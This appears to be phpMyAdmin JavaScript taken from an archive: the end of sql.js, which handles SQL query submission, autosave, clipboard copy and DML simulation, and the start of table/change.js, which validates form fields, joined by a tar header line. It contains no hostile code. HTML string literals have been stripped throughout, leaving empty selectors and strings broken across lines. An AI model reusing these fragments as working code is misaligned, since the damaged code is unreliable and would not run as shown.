            * * @name document.ready * @memberOf jQuery */ AJAX.registerOnload('sql.js', function () { if (codeMirrorEditor || document.sqlform) { Sql.setShowThisQuery(); } $(function () { if (codeMirrorEditor) { codeMirrorEditor.on('change', function () { Sql.autoSave(codeMirrorEditor.getValue()); }); } else { $('#sqlquery').on('input propertychange', function () { Sql.autoSave($('#sqlquery').val()); }); var useLocalStorageValue = isStorageSupported('localStorage') && typeof window.localStorage.autoSavedSqlSort !== 'undefined'; // Save sql query with sort if ($('#RememberSorting') !== undefined && $('#RememberSorting').is(':checked')) { $('select[name="sql_query"]').on('change', function () { Sql.autoSaveWithSort($(this).val()); }); $('.sortlink').on('click', function () { Sql.clearAutoSavedSort(); }); } else { Sql.clearAutoSavedSort(); } // If sql query with sort for current table is stored, change sort by key select value var sortStoredQuery = useLocalStorageValue ? window.localStorage.autoSavedSqlSort : Cookies.get('autoSavedSqlSort'); if (typeof sortStoredQuery !== 'undefined' && sortStoredQuery !== $('select[name="sql_query"]').val() && $('select[name="sql_query"] option[value="' + sortStoredQuery + '"]').length !== 0) { $('select[name="sql_query"]').val(sortStoredQuery).trigger('change'); } } }); // Delete row from SQL results $(document).on('click', 'a.delete_row.ajax', function (e) { e.preventDefault(); var question = Functions.sprintf(Messages.strDoYouReally, Functions.escapeHtml($(this).closest('td').find('div').text())); var $link = $(this); $link.confirm(question, $link.attr('href'), function (url) { Functions.ajaxShowMessage(); var argsep = CommonParams.get('arg_separator'); var params = 'ajax_request=1' + argsep + 'is_js_confirmed=1'; var postData = $link.getPostData(); if (postData) { params += argsep + postData; } $.post(url, params, function (data) { if (data.success) { Functions.ajaxShowMessage(data.message); $link.closest('tr').remove(); } else { Functions.ajaxShowMessage(data.error, false); } }); }); }); // Ajaxification for 'Bookmark this SQL query' $(document).on('submit', '.bookmarkQueryForm', function (e) { e.preventDefault(); Functions.ajaxShowMessage(); var argsep = CommonParams.get('arg_separator'); $.post($(this).attr('action'), 'ajax_request=1' + argsep + $(this).serialize(), function (data) { if (data.success) { Functions.ajaxShowMessage(data.message); } else { Functions.ajaxShowMessage(data.error, false); } }); }); /* Hides the bookmarkoptions checkboxes when the bookmark label is empty */ $('input#bkm_label').on('input', function () { $('input#id_bkm_all_users, input#id_bkm_replace') .parent() .toggle($(this).val().length > 0); }).trigger('input'); /** * Attach Event Handler for 'Copy to clipboard' */ $(document).on('click', '#copyToClipBoard', function (event) { event.preventDefault(); var textArea = document.createElement('textarea'); // // *** This styling is an extra step which is likely not required. *** // // Why is it here? To ensure: // 1. the element is able to have focus and selection. // 2. if element was to flash render it has minimal visual impact. // 3. less flakyness with selection and copying which **might** occur if // the textarea element is not visible. // // The likelihood is the element won't even render, not even a flash, // so some of these are just precautions. However in IE the element // is visible whilst the popup box asking the user for permission for // the web page to copy to the clipboard. // // Place in top-left corner of screen regardless of scroll position. textArea.style.position = 'fixed'; textArea.style.top = 0; textArea.style.left = 0; // Ensure it has a small width and height. Setting to 1px / 1em // doesn't work as this gives a negative w/h on some browsers. textArea.style.width = '2em'; textArea.style.height = '2em'; // We don't need padding, reducing the size if it does flash render. textArea.style.padding = 0; // Clean up any borders. textArea.style.border = 'none'; textArea.style.outline = 'none'; textArea.style.boxShadow = 'none'; // Avoid flash of white box if rendered for any reason. textArea.style.background = 'transparent'; textArea.value = ''; $('#server-breadcrumb a').each(function () { textArea.value += $(this).data('raw-text') + '/'; }); textArea.value += '\t\t' + window.location.href; textArea.value += '\n'; $('.alert-success').each(function () { textArea.value += $(this).text() + '\n\n'; }); $('.sql pre').each(function () { textArea.value += $(this).text() + '\n\n'; }); $('.table_results .column_heading a').each(function () { // Don't copy ordering number text within tag textArea.value += $(this).clone().find('small').remove().end().text() + '\t'; }); textArea.value += '\n'; $('.table_results tbody tr').each(function () { $(this).find('.data span').each(function () { // Extract tag for NULL values before converting to string to not mess up formatting var data = $(this).find('em').length !== 0 ? $(this).find('em')[0] : this; textArea.value += $(data).text() + '\t'; }); textArea.value += '\n'; }); // eslint-disable-next-line compat/compat document.body.appendChild(textArea); textArea.select(); try { document.execCommand('copy'); } catch (err) { alert('Sorry! Unable to copy'); } // eslint-disable-next-line compat/compat document.body.removeChild(textArea); }); // end of Copy to Clipboard action /** * Attach the {@link makegrid} function to a custom event, which will be * triggered manually everytime the table of results is reloaded * @memberOf jQuery */ $(document).on('makegrid', '.sqlqueryresults', function () { $('.table_results').each(function () { makeGrid(this); }); }); /** * Append the "Show/Hide query box" message to the query input form * * @memberOf jQuery * @name appendToggleSpan */ // do not add this link more than once if (! $('#sqlqueryform').find('button').is('#togglequerybox')) { $('') .html(Messages.strHideQueryBox) .appendTo('#sqlqueryform') // initially hidden because at this point, nothing else // appears under the link .hide(); // Attach the toggling of the query box visibility to a click $('#togglequerybox').on('click', function () { var $link = $(this); $link.siblings().slideToggle('fast'); if ($link.text() === Messages.strHideQueryBox) { $link.text(Messages.strShowQueryBox); // cheap trick to add a spacer between the menu tabs // and "Show query box"; feel free to improve! $('#togglequerybox_spacer').remove(); $link.before('
            '); } else { $link.text(Messages.strHideQueryBox); } // avoid default click action return false; }); } /** * Event handler for sqlqueryform.ajax button_submit_query * * @memberOf jQuery */ $(document).on('click', '#button_submit_query', function () { $('.alert-success,.alert-danger').hide(); // hide already existing error or success message var $form = $(this).closest('form'); // the Go button related to query submission was clicked, // instead of the one related to Bookmarks, so empty the // id_bookmark selector to avoid misinterpretation in // /import about what needs to be done $form.find('select[name=id_bookmark]').val(''); var isShowQuery = $('input[name="show_query"]').is(':checked'); if (isShowQuery) { window.localStorage.showThisQuery = '1'; var db = $('input[name="db"]').val(); var table = $('input[name="table"]').val(); var query; if (codeMirrorEditor) { query = codeMirrorEditor.getValue(); } else { query = $('#sqlquery').val(); } Sql.showThisQuery(db, table, query); } else { window.localStorage.showThisQuery = '0'; } }); /** * Event handler to show appropriate number of variable boxes * based on the bookmarked query */ $(document).on('change', '#id_bookmark', function () { var varCount = $(this).find('option:selected').data('varcount'); if (typeof varCount === 'undefined') { varCount = 0; } var $varDiv = $('#bookmarkVariables'); $varDiv.empty(); for (var i = 1; i <= varCount; i++) { $varDiv.append($('
            ')); $varDiv.append($('')); $varDiv.append($('')); $varDiv.append($('
            ')); } if (varCount === 0) { $varDiv.parent().hide(); } else { $varDiv.parent().show(); } }); /** * Event handler for hitting enter on sqlqueryform bookmark_variable * (the Variable textfield in Bookmarked SQL query section) * * @memberOf jQuery */ $('input[name=bookmark_variable]').on('keypress', function (event) { // force the 'Enter Key' to implicitly click the #button_submit_bookmark var keycode = (event.keyCode ? event.keyCode : (event.which ? event.which : event.charCode)); if (keycode === 13) { // keycode for enter key // When you press enter in the sqlqueryform, which // has 2 submit buttons, the default is to run the // #button_submit_query, because of the tabindex // attribute. // This submits #button_submit_bookmark instead, // because when you are in the Bookmarked SQL query // section and hit enter, you expect it to do the // same action as the Go button in that section. $('#button_submit_bookmark').trigger('click'); return false; } else { return true; } }); /** * Ajax Event handler for 'SQL Query Submit' * * @see Functions.ajaxShowMessage() * @memberOf jQuery * @name sqlqueryform_submit */ $(document).on('submit', '#sqlqueryform.ajax', function (event) { event.preventDefault(); var $form = $(this); if (codeMirrorEditor) { $form[0].elements.sql_query.value = codeMirrorEditor.getValue(); } if (! Functions.checkSqlQuery($form[0])) { return false; } // remove any div containing a previous error message $('.alert-danger').remove(); var $msgbox = Functions.ajaxShowMessage(); var $sqlqueryresultsouter = $('#sqlqueryresultsouter'); Functions.prepareForAjaxRequest($form); var argsep = CommonParams.get('arg_separator'); $.post($form.attr('action'), $form.serialize() + argsep + 'ajax_page_request=true', function (data) { if (typeof data !== 'undefined' && data.success === true) { // success happens if the query returns rows or not // show a message that stays on screen if (typeof data.action_bookmark !== 'undefined') { // view only if ('1' === data.action_bookmark) { $('#sqlquery').text(data.sql_query); // send to codemirror if possible Functions.setQuery(data.sql_query); } // delete if ('2' === data.action_bookmark) { $('#id_bookmark option[value=\'' + data.id_bookmark + '\']').remove(); // if there are no bookmarked queries now (only the empty option), // remove the bookmark section if ($('#id_bookmark option').length === 1) { $('#fieldsetBookmarkOptions').hide(); $('#fieldsetBookmarkOptionsFooter').hide(); } } } $sqlqueryresultsouter .show() .html(data.message); Functions.highlightSql($sqlqueryresultsouter); if (data.menu) { history.replaceState({ menu : data.menu }, null ); AJAX.handleMenu.replace(data.menu); } if (data.params) { CommonParams.setAll(data.params); } if (typeof data.ajax_reload !== 'undefined') { if (data.ajax_reload.reload) { if (data.ajax_reload.table_name) { CommonParams.set('table', data.ajax_reload.table_name); CommonActions.refreshMain(); } else { Navigation.reload(); } } } else if (typeof data.reload !== 'undefined') { // this happens if a USE or DROP command was typed CommonActions.setDb(data.db); var url; if (data.db) { if (data.table) { url = 'index.php?route=/table/sql'; } else { url = 'index.php?route=/database/sql'; } } else { url = 'index.php?route=/server/sql'; } CommonActions.refreshMain(url, function () { $('#sqlqueryresultsouter') .show() .html(data.message); Functions.highlightSql($('#sqlqueryresultsouter')); }); } $('.sqlqueryresults').trigger('makegrid'); $('#togglequerybox').show(); if (typeof data.action_bookmark === 'undefined') { if ($('#sqlqueryform input[name="retain_query_box"]').is(':checked') !== true) { if ($('#togglequerybox').siblings(':visible').length > 0) { $('#togglequerybox').trigger('click'); } } } } else if (typeof data !== 'undefined' && data.success === false) { // show an error message that stays on screen $sqlqueryresultsouter .show() .html(data.error); $('html, body').animate({ scrollTop: $(document).height() }, 200); } Functions.ajaxRemoveMessage($msgbox); }); // end $.post() }); // end SQL Query submit /** * Ajax Event handler for the display options * @memberOf jQuery * @name displayOptionsForm_submit */ $(document).on('submit', 'form[name=\'displayOptionsForm\'].ajax', function (event) { event.preventDefault(); var $form = $(this); var $msgbox = Functions.ajaxShowMessage(); var argsep = CommonParams.get('arg_separator'); $.post($form.attr('action'), $form.serialize() + argsep + 'ajax_request=true', function (data) { Functions.ajaxRemoveMessage($msgbox); var $sqlqueryresults = $form.parents('.sqlqueryresults'); $sqlqueryresults .html(data.message) .trigger('makegrid'); Functions.highlightSql($sqlqueryresults); }); // end $.post() }); // end displayOptionsForm handler // Filter row handling. --STARTS-- $(document).on('keyup', '.filter_rows', function () { var uniqueId = $(this).data('for'); var $targetTable = $('.table_results[data-uniqueId=\'' + uniqueId + '\']'); var $headerCells = $targetTable.find('th[data-column]'); var targetColumns = []; // To handle colspan=4, in case of edit, copy, etc options (Table row links). Add 3 dummy elements - only when the Table row links are NOT on the "Right" var rowLinksLocation = ($targetTable.find('thead > tr > th')).first(); var dummyTh = (rowLinksLocation[0].getAttribute('colspan') !== null) ? '' : ''; // Selecting columns that will be considered for filtering and searching. // Selecting columns that will be considered for filtering and searching. $headerCells.each(function () { targetColumns.push($(this).text().trim()); }); var phrase = $(this).val(); // Set same value to both Filter rows fields. $('.filter_rows[data-for=\'' + uniqueId + '\']').not(this).val(phrase); // Handle colspan. $targetTable.find('thead > tr').prepend(dummyTh); $.uiTableFilter($targetTable, phrase, targetColumns); $targetTable.find('th.dummy_th').remove(); }); // Filter row handling. --ENDS-- // Prompt to confirm on Show All $('body').on('click', '.navigation .showAllRows', function (e) { e.preventDefault(); var $form = $(this).parents('form'); Sql.submitShowAllForm = function () { var argsep = CommonParams.get('arg_separator'); var submitData = $form.serialize() + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true'; Functions.ajaxShowMessage(); AJAX.source = $form; $.post($form.attr('action'), submitData, AJAX.responseHandler); }; if (! $(this).is(':checked')) { // already showing all rows Sql.submitShowAllForm(); } else { $form.confirm(Messages.strShowAllRowsWarning, $form.attr('action'), function () { Sql.submitShowAllForm(); }); } }); $('body').on('keyup', '#sqlqueryform', function () { Functions.handleSimulateQueryButton(); }); /** * Ajax event handler for 'Simulate DML'. */ $('body').on('click', '#simulate_dml', function () { var $form = $('#sqlqueryform'); var query = ''; var delimiter = $('#id_sql_delimiter').val(); var dbName = $form.find('input[name="db"]').val(); if (codeMirrorEditor) { query = codeMirrorEditor.getValue(); } else { query = $('#sqlquery').val(); } if (query.length === 0) { alert(Messages.strFormEmpty); $('#sqlquery').trigger('focus'); return false; } var $msgbox = Functions.ajaxShowMessage(); $.ajax({ type: 'POST', url: 'index.php?route=/import/simulate-dml', data: { 'server': CommonParams.get('server'), 'db': dbName, 'ajax_request': '1', 'sql_query': query, 'sql_delimiter': delimiter }, success: function (response) { Functions.ajaxRemoveMessage($msgbox); if (response.success) { var dialogContent = '
            '; if (response.sql_data) { var len = response.sql_data.length; for (var i = 0; i < len; i++) { dialogContent += '' + Messages.strSQLQuery + '' + response.sql_data[i].sql_query + Messages.strMatchedRows + ' ' + response.sql_data[i].matched_rows + '
            '; if (i < len - 1) { dialogContent += '
            '; } } } else { dialogContent += response.message; } dialogContent += '
            '; var $dialogContent = $(dialogContent); var modal = $('#simulateDmlModal'); modal.modal('show'); modal.find('.modal-body').first().html($dialogContent); modal.on('shown.bs.modal', function () { Functions.highlightSql(modal); }); } else { Functions.ajaxShowMessage(response.error); } }, error: function () { Functions.ajaxShowMessage(Messages.strErrorProcessingRequest); } }); }); /** * Handles multi submits of results browsing page such as edit, delete and export */ $('body').on('click', 'form[name="resultsForm"].ajax button[name="submit_mult"], form[name="resultsForm"].ajax input[name="submit_mult"]', function (e) { e.preventDefault(); var $button = $(this); var action = $button.val(); var $form = $button.closest('form'); var argsep = CommonParams.get('arg_separator'); var submitData = $form.serialize() + argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true' + argsep; Functions.ajaxShowMessage(); AJAX.source = $form; var url; if (action === 'edit') { submitData = submitData + argsep + 'default_action=update'; url = 'index.php?route=/table/change/rows'; } else if (action === 'copy') { submitData = submitData + argsep + 'default_action=insert'; url = 'index.php?route=/table/change/rows'; } else if (action === 'export') { url = 'index.php?route=/table/export/rows'; } else if (action === 'delete') { url = 'index.php?route=/table/delete/confirm'; } else { return; } $.post(url, submitData, AJAX.responseHandler); }); $(document).on('submit', '.maxRowsForm', function () { var unlimNumRows = $(this).find('input[name="unlim_num_rows"]').val(); var maxRowsCheck = Functions.checkFormElementInRange( this, 'session_max_rows', Messages.strNotValidRowNumber, 1 ); var posCheck = Functions.checkFormElementInRange( this, 'pos', Messages.strNotValidRowNumber, 0, unlimNumRows > 0 ? unlimNumRows - 1 : null ); return maxRowsCheck && posCheck; }); $('#insertBtn').on('click', function () { Functions.insertValueQuery(); }); $('#view_as').on('click', function () { Functions.selectContent(this, sqlBoxLocked, true); }); $('#sqlquery').on('click', function () { if ($(this).data('textarea-auto-select') === true) { Functions.selectContent(this, sqlBoxLocked, true); } }); }); // end $() /** * Starting from some th, change the class of all td under it. * If isAddClass is specified, it will be used to determine whether to add or remove the class. * * @param $thisTh * @param {string} newClass * @param isAddClass */ Sql.changeClassForColumn = function ($thisTh, newClass, isAddClass) { // index 0 is the th containing the big T var thIndex = $thisTh.index(); var hasBigT = $thisTh.closest('tr').children().first().hasClass('column_action'); // .eq() is zero-based if (hasBigT) { thIndex--; } var $table = $thisTh.parents('.table_results'); if (! $table.length) { $table = $thisTh.parents('table').siblings('.table_results'); } var $tds = $table.find('tbody tr').find('td.data').eq(thIndex); if (isAddClass === undefined) { $tds.toggleClass(newClass); } else { $tds.toggleClass(newClass, isAddClass); } }; /** * Handles browse foreign values modal dialog * * @param {object} $thisA reference to the browse foreign value link */ Sql.browseForeignDialog = function ($thisA) { var formId = '#browse_foreign_form'; var showAllId = '#foreign_showAll'; var tableId = '#browse_foreign_table'; var filterId = '#input_foreign_filter'; var $dialog = null; var argSep = CommonParams.get('arg_separator'); var params = $thisA.getPostData(); params += argSep + 'ajax_request=true'; $.post($thisA.attr('href'), params, function (data) { // Creates browse foreign value dialog $dialog = $('
            ').append(data.message).dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strBrowseForeignValues, width: Math.min($(window).width() - 100, 700), maxHeight: $(window).height() - 100, dialogClass: 'browse_foreign_modal', close: function () { // remove event handlers attached to elements related to dialog $(tableId).off('click', 'td a.foreign_value'); $(formId).off('click', showAllId); $(formId).off('submit'); // remove dialog itself $(this).remove(); }, modal: true }); }).done(function () { var showAll = false; $(tableId).on('click', 'td a.foreign_value', function (e) { e.preventDefault(); var $input = $thisA.prev('input[type=text]'); // Check if input exists or get CEdit edit_box if ($input.length === 0) { $input = $thisA.closest('.edit_area').prev('.edit_box'); } // Set selected value as input value $input.val($(this).data('key')); // Unchecks the Ignore checkbox for the current row $input.trigger('change'); $dialog.dialog('close'); }); $(formId).on('click', showAllId, function () { showAll = true; }); $(formId).on('submit', function (e) { e.preventDefault(); // if filter value is not equal to old value // then reset page number to 1 if ($(filterId).val() !== $(filterId).data('old')) { $(formId).find('select[name=pos]').val('0'); } var postParams = $(this).serializeArray(); // if showAll button was clicked to submit form then // add showAll button parameter to form if (showAll) { postParams.push({ name: $(showAllId).attr('name'), value: $(showAllId).val() }); } // updates values in dialog $.post($(this).attr('action') + '&ajax_request=1', postParams, function (data) { var $obj = $('
            ').html(data.message); $(formId).html($obj.find(formId).html()); $(tableId).html($obj.find(tableId).html()); }); showAll = false; }); }); }; /** * Get the auto saved query key * @return {String} */ Sql.getAutoSavedKey = function () { var db = $('input[name="db"]').val(); var table = $('input[name="table"]').val(); var key = db; if (table !== undefined) { key += '.' + table; } return 'autoSavedSql_' + key; }; Sql.checkSavedQuery = function () { var key = Sql.getAutoSavedKey(); if (isStorageSupported('localStorage') && typeof window.localStorage.getItem(key) === 'string') { Functions.ajaxShowMessage(Messages.strPreviousSaveQuery); } else if (Cookies.get(key)) { Functions.ajaxShowMessage(Messages.strPreviousSaveQuery); } }; AJAX.registerOnload('sql.js', function () { $('body').on('click', 'a.browse_foreign', function (e) { e.preventDefault(); Sql.browseForeignDialog($(this)); }); /** * vertical column highlighting in horizontal mode when hovering over the column header */ $(document).on('mouseenter', 'th.column_heading.pointer', function () { Sql.changeClassForColumn($(this), 'hover', true); }); $(document).on('mouseleave', 'th.column_heading.pointer', function () { Sql.changeClassForColumn($(this), 'hover', false); }); /** * vertical column marking in horizontal mode when clicking the column header */ $(document).on('click', 'th.column_heading.marker', function () { Sql.changeClassForColumn($(this), 'marked'); }); /** * create resizable table */ $('.sqlqueryresults').trigger('makegrid'); /** * Check if there is any saved query */ if (codeMirrorEditor || document.sqlform) { Sql.checkSavedQuery(); } }); /** * Profiling Chart */ Sql.makeProfilingChart = function () { if ($('#profilingchart').length === 0 || $('#profilingchart').html().length !== 0 || !$.jqplot || !$.jqplot.Highlighter || !$.jqplot.PieRenderer ) { return; } var data = []; $.each(JSON.parse($('#profilingChartData').html()), function (key, value) { data.push([key, parseFloat(value)]); }); // Remove chart and data divs contents $('#profilingchart').html('').show(); $('#profilingChartData').html(''); Functions.createProfilingChart('profilingchart', data); }; /** * initialize profiling data tables */ Sql.initProfilingTables = function () { if (!$.tablesorter) { return; } // Added to allow two direction sorting $('#profiletable') .find('thead th') .off('click mousedown'); $('#profiletable').tablesorter({ widgets: ['zebra'], sortList: [[0, 0]], textExtraction: function (node) { if (node.children.length > 0) { return node.children[0].innerHTML; } else { return node.innerHTML; } } }); // Added to allow two direction sorting $('#profilesummarytable') .find('thead th') .off('click mousedown'); $('#profilesummarytable').tablesorter({ widgets: ['zebra'], sortList: [[1, 1]], textExtraction: function (node) { if (node.children.length > 0) { return node.children[0].innerHTML; } else { return node.innerHTML; } } }); }; AJAX.registerOnload('sql.js', function () { Sql.makeProfilingChart(); Sql.initProfilingTables(); }); src/table/change.js000066600000101415151724472060010223 0ustar00/** * @fileoverview function used in table data manipulation pages * * @requires jQuery * @requires jQueryUI * @requires js/functions.js * */ /* global extendingValidatorMessages */ // templates/javascript/variables.twig /* global openGISEditor, gisEditorLoaded, loadJSAndGISEditor, loadGISEditor */ // js/gis_data_editor.js /** * Modify form controls when the "NULL" checkbox is checked * * @param {string} theType the MySQL field type * @param {string} urlField the urlencoded field name - OBSOLETE * @param {string} md5Field the md5 hashed field name * @param {string} multiEdit the multi_edit row sequence number * * @return {boolean} always true */ function nullify (theType, urlField, md5Field, multiEdit) { var rowForm = document.forms.insertForm; if (typeof(rowForm.elements['funcs' + multiEdit + '[' + md5Field + ']']) !== 'undefined') { rowForm.elements['funcs' + multiEdit + '[' + md5Field + ']'].selectedIndex = -1; } // "ENUM" field with more than 20 characters if (Number(theType) === 1) { rowForm.elements['fields' + multiEdit + '[' + md5Field + ']'][1].selectedIndex = -1; // Other "ENUM" field } else if (Number(theType) === 2) { var elts = rowForm.elements['fields' + multiEdit + '[' + md5Field + ']']; // when there is just one option in ENUM: if (elts.checked) { elts.checked = false; } else { var eltsCnt = elts.length; for (var i = 0; i < eltsCnt; i++) { elts[i].checked = false; } // end for } // end if // "SET" field } else if (Number(theType) === 3) { rowForm.elements['fields' + multiEdit + '[' + md5Field + '][]'].selectedIndex = -1; // Foreign key field (drop-down) } else if (Number(theType) === 4) { rowForm.elements['fields' + multiEdit + '[' + md5Field + ']'].selectedIndex = -1; // foreign key field (with browsing icon for foreign values) } else if (Number(theType) === 6) { rowForm.elements['fields' + multiEdit + '[' + md5Field + ']'].value = ''; // Other field types } else /* if (theType === 5)*/ { rowForm.elements['fields' + multiEdit + '[' + md5Field + ']'].value = ''; } // end if... else if... else return true; } // end of the 'nullify()' function /** * javascript DateTime format validation. * its used to prevent adding default (0000-00-00 00:00:00) to database when user enter wrong values * Start of validation part */ // function checks the number of days in febuary function daysInFebruary (year) { return (((year % 4 === 0) && (((year % 100 !== 0)) || (year % 400 === 0))) ? 29 : 28); } // function to convert single digit to double digit function fractionReplace (number) { var num = parseInt(number, 10); return num >= 1 && num <= 9 ? '0' + num : '00'; } /* function to check the validity of date * The following patterns are accepted in this validation (accepted in mysql as well) * 1) 2001-12-23 * 2) 2001-1-2 * 3) 02-12-23 * 4) And instead of using '-' the following punctuations can be used (+,.,*,^,@,/) All these are accepted by mysql as well. Therefore no issues */ function isDate (val, tmstmp) { var value = val.replace(/[.|*|^|+|//|@]/g, '-'); var arrayVal = value.split('-'); for (var a = 0; a < arrayVal.length; a++) { if (arrayVal[a].length === 1) { arrayVal[a] = fractionReplace(arrayVal[a]); } } value = arrayVal.join('-'); var pos = 2; var dtexp = new RegExp(/^([0-9]{4})-(((01|03|05|07|08|10|12)-((0[0-9])|([1-2][0-9])|(3[0-1])))|((02|04|06|09|11)-((0[0-9])|([1-2][0-9])|30))|((00)-(00)))$/); if (value.length === 8) { pos = 0; } if (dtexp.test(value)) { var month = parseInt(value.substring(pos + 3, pos + 5), 10); var day = parseInt(value.substring(pos + 6, pos + 8), 10); var year = parseInt(value.substring(0, pos + 2), 10); if (month === 2 && day > daysInFebruary(year)) { return false; } if (value.substring(0, pos + 2).length === 2) { year = parseInt('20' + value.substring(0, pos + 2), 10); } if (tmstmp === true) { if (year < 1978) { return false; } if (year > 2038 || (year > 2037 && day > 19 && month >= 1) || (year > 2037 && month > 1)) { return false; } } } else { return false; } return true; } /* function to check the validity of time * The following patterns are accepted in this validation (accepted in mysql as well) * 1) 2:3:4 * 2) 2:23:43 * 3) 2:23:43.123456 */ function isTime (val) { var arrayVal = val.split(':'); for (var a = 0, l = arrayVal.length; a < l; a++) { if (arrayVal[a].length === 1) { arrayVal[a] = fractionReplace(arrayVal[a]); } } var newVal = arrayVal.join(':'); var tmexp = new RegExp(/^(-)?(([0-7]?[0-9][0-9])|(8[0-2][0-9])|(83[0-8])):((0[0-9])|([1-5][0-9])):((0[0-9])|([1-5][0-9]))(\.[0-9]{1,6}){0,1}$/); return tmexp.test(newVal); } /** * To check whether insert section is ignored or not * @param {string} multiEdit * @return {boolean} */ function checkForCheckbox (multiEdit) { if ($('#insert_ignore_' + multiEdit).length) { return $('#insert_ignore_' + multiEdit).is(':unchecked'); } return true; } // used in Search page mostly for INT fields // eslint-disable-next-line no-unused-vars function verifyAfterSearchFieldChange (index, searchFormId) { var $thisInput = $('input[name=\'criteriaValues[' + index + ']\']'); // Add data-skip-validators attribute to skip validation in changeValueFieldType function if ($('#fieldID_' + index).data('data-skip-validators')) { $(searchFormId).validate().destroy(); return; } // validation for integer type if ($thisInput.data('type') === 'INT' || $thisInput.data('type') === 'TINYINT') { // Trim spaces if it's an integer $thisInput.val($thisInput.val().trim()); var hasMultiple = $thisInput.prop('multiple'); if (hasMultiple) { $(searchFormId).validate({ // update errors as we write onkeyup: function (element) { $(element).valid(); } }); // validator method for IN(...), NOT IN(...) // BETWEEN and NOT BETWEEN jQuery.validator.addMethod('validationFunctionForMultipleInt', function (value) { return value.match(/^(?:(?:\d\s*)|\s*)+(?:,\s*\d+)*$/i) !== null; }, Messages.strEnterValidNumber ); validateMultipleIntField($thisInput, true); } else { $(searchFormId).validate({ // update errors as we write onkeyup: function (element) { $(element).valid(); } }); validateIntField($thisInput, true); } // Update error on dropdown change $thisInput.valid(); } } /** * Validate the an input contains multiple int values * @param {jQuery} jqueryInput the Jquery object * @param {boolean} returnValueIfFine the value to return if the validator passes * @return {void} */ function validateMultipleIntField (jqueryInput, returnValueIfFine) { // removing previous rules jqueryInput.rules('remove'); jqueryInput.rules('add', { validationFunctionForMultipleInt: { param: jqueryInput.value, depends: function () { return returnValueIfFine; } } }); } /** * Validate the an input contains an int value * @param {jQuery} jqueryInput the Jquery object * @param {boolean} returnValueIfIsNumber the value to return if the validator passes * @return {void} */ function validateIntField (jqueryInput, returnValueIfIsNumber) { var mini = parseInt(jqueryInput.data('min')); var maxi = parseInt(jqueryInput.data('max')); // removing previous rules jqueryInput.rules('remove'); jqueryInput.rules('add', { number: { param: true, depends: function () { return returnValueIfIsNumber; } }, min: { param: mini, depends: function () { if (isNaN(jqueryInput.val())) { return false; } else { return returnValueIfIsNumber; } } }, max: { param: maxi, depends: function () { if (isNaN(jqueryInput.val())) { return false; } else { return returnValueIfIsNumber; } } } }); } function verificationsAfterFieldChange (urlField, multiEdit, theType) { var evt = window.event || arguments.callee.caller.arguments[0]; var target = evt.target || evt.srcElement; var $thisInput = $(':input[name^=\'fields[multi_edit][' + multiEdit + '][' + urlField + ']\']'); // the function drop-down that corresponds to this input field var $thisFunction = $('select[name=\'funcs[multi_edit][' + multiEdit + '][' + urlField + ']\']'); var functionSelected = false; if (typeof $thisFunction.val() !== 'undefined' && $thisFunction.val() !== null && $thisFunction.val().length > 0 ) { functionSelected = true; } // To generate the textbox that can take the salt var newSaltBox = '
            '; // If encrypting or decrypting functions that take salt as input is selected append the new textbox for salt if (target.value === 'AES_ENCRYPT' || target.value === 'AES_DECRYPT' || target.value === 'DES_ENCRYPT' || target.value === 'DES_DECRYPT' || target.value === 'ENCRYPT') { if (!($('#salt_' + target.id).length)) { $thisInput.after(newSaltBox); } } else { // Remove the textbox for salt $('#salt_' + target.id).prev('br').remove(); $('#salt_' + target.id).remove(); } // Remove possible blocking rules if the user changed functions $('#' + target.id).rules('remove', 'validationFunctionForMd5'); $('#' + target.id).rules('remove', 'validationFunctionForAesDesEncrypt'); if (target.value === 'MD5') { $('#' + target.id).rules('add', { validationFunctionForMd5: { param: $thisInput, depends: function () { return checkForCheckbox(multiEdit); } } }); } if (target.value === 'DES_ENCRYPT' || target.value === 'AES_ENCRYPT') { $('#' + target.id).rules('add', { validationFunctionForAesDesEncrypt: { param: $thisInput, depends: function () { return checkForCheckbox(multiEdit); } } }); } if (target.value === 'HEX' && theType.substring(0,3) === 'int') { // Add note when HEX function is selected on a int var newHexInfo = '

            ' + Messages.HexConversionInfo + '

            '; if (!$('#note' + target.id).length) { $thisInput.after(newHexInfo); } } else { $('#note' + target.id) .prev('br') .remove(); $('#note' + target.id).remove(); } // Unchecks the corresponding "NULL" control $('input[name=\'fields_null[multi_edit][' + multiEdit + '][' + urlField + ']\']').prop('checked', false); // Unchecks the Ignore checkbox for the current row $('input[name=\'insert_ignore_' + multiEdit + '\']').prop('checked', false); var charExceptionHandling; if (theType.substring(0,4) === 'char') { charExceptionHandling = theType.substring(5,6); } else if (theType.substring(0,7) === 'varchar') { charExceptionHandling = theType.substring(8,9); } if (functionSelected) { $thisInput.removeAttr('min'); $thisInput.removeAttr('max'); // @todo: put back attributes if corresponding function is deselected } if ($thisInput.data('rulesadded') === null && ! functionSelected) { // call validate before adding rules $($thisInput[0].form).validate(); // validate for date time if (theType === 'datetime' || theType === 'time' || theType === 'date' || theType === 'timestamp') { $thisInput.rules('add', { validationFunctionForDateTime: { param: theType, depends: function () { return checkForCheckbox(multiEdit); } } }); } // validation for integer type if ($thisInput.data('type') === 'INT') { validateIntField($thisInput, checkForCheckbox(multiEdit)); // validation for CHAR types } else if ($thisInput.data('type') === 'CHAR') { var maxlen = $thisInput.data('maxlength'); if (typeof maxlen !== 'undefined') { if (maxlen <= 4) { maxlen = charExceptionHandling; } $thisInput.rules('add', { maxlength: { param: maxlen, depends: function () { return checkForCheckbox(multiEdit); } } }); } // validate binary & blob types } else if ($thisInput.data('type') === 'HEX') { $thisInput.rules('add', { validationFunctionForHex: { param: true, depends: function () { return checkForCheckbox(multiEdit); } } }); } $thisInput.data('rulesadded', true); } else if ($thisInput.data('rulesadded') === true && functionSelected) { // remove any rules added $thisInput.rules('remove'); // remove any error messages $thisInput .removeClass('error') .removeAttr('aria-invalid') .siblings('.error') .remove(); $thisInput.data('rulesadded', null); } } /* End of fields validation*/ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('table/change.js', function () { $(document).off('click', 'span.open_gis_editor'); $(document).off('click', 'input[name^=\'insert_ignore_\']'); $(document).off('click', 'input[name=\'gis_data[save]\']'); $(document).off('click', 'input.checkbox_null'); $('select[name="submit_type"]').off('change'); $(document).off('change', '#insert_rows'); }); /** * Ajax handlers for Change Table page * * Actions Ajaxified here: * Submit Data to be inserted into the table. * Restart insertion with 'N' rows. */ 